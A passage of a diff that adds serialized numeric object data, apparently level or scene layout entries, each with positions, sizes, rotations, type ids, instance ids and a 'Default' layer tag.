+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6293,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4369,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6294,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6296,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4672.00341796875,
+ 798.8510131835938,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6297,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6298,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4859,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6299,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4951,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6300,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5042,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6301,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5134,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6302,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.943359375,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6303,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3242.028564453125,
+ 457.8980407714844,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6304,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6305,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6306,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6307,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6308,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6309,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6310,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3909.415283203125,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6311,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3909.415283203125,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6312,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3908.415283203125,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6313,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6314,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6315,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6316,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6317,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6318,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6319,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6320,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6321,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6322,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6323,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6324,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6325,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6326,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6327,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6328,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 796.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6329,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 892.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6330,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 987.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6331,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6332,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6333,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4766.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6334,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6335,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6336,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4857.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6337,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6338,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6339,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4947.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6340,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6341,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6342,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5040.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6343,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6344,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6345,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6346,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6347,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6348,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5224.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6349,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2886,
+ 694,
+ 0,
+ 182,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6350,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3065,
+ 787,
+ 0,
+ 192,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6351,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115.5,
+ 694,
+ 0,
+ 91,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6352,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3296,
+ 978,
+ 0,
+ 281,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6353,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115,
+ 365,
+ 0,
+ 459,
+ 88,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6354,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299,
+ 513,
+ 0,
+ 91,
+ 366,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6355,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.125,
+ 743.48486328125,
+ 0,
+ 287,
+ 33,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6356,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4095.5,
+ 814,
+ 0,
+ 824,
+ 307,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6357,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4997.5,
+ 1022.908203125,
+ 0,
+ 553,
+ 373.1834716796875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6358,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4617.02587890625,
+ 762.0482177734375,
+ 0,
+ 297.0997924804688,
+ 28,
+ 0,
+ 0.6457718014717102,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6359,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727.29345703125,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6360,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.83544921875,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6361,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3908.970947265625,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6362,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4001.512939453125,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6363,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4092.78076171875,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6364,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.32275390625,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6365,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.4580078125,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6366,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.00048828125,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6367,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4459.82470703125,
+ 1083.528564453125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6368,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1330,
+ 834,
+ 0,
+ 548,
+ 150,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6371,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 584,
+ 743,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6373,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 647.4462890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6374,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3740.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6375,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3771.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6376,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3802.01904296875,
+ 641.9130859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6377,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3926.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6378,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3958.0947265625,
+ 641.6554565429688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6379,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3988.439697265625,
+ 642.022705078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
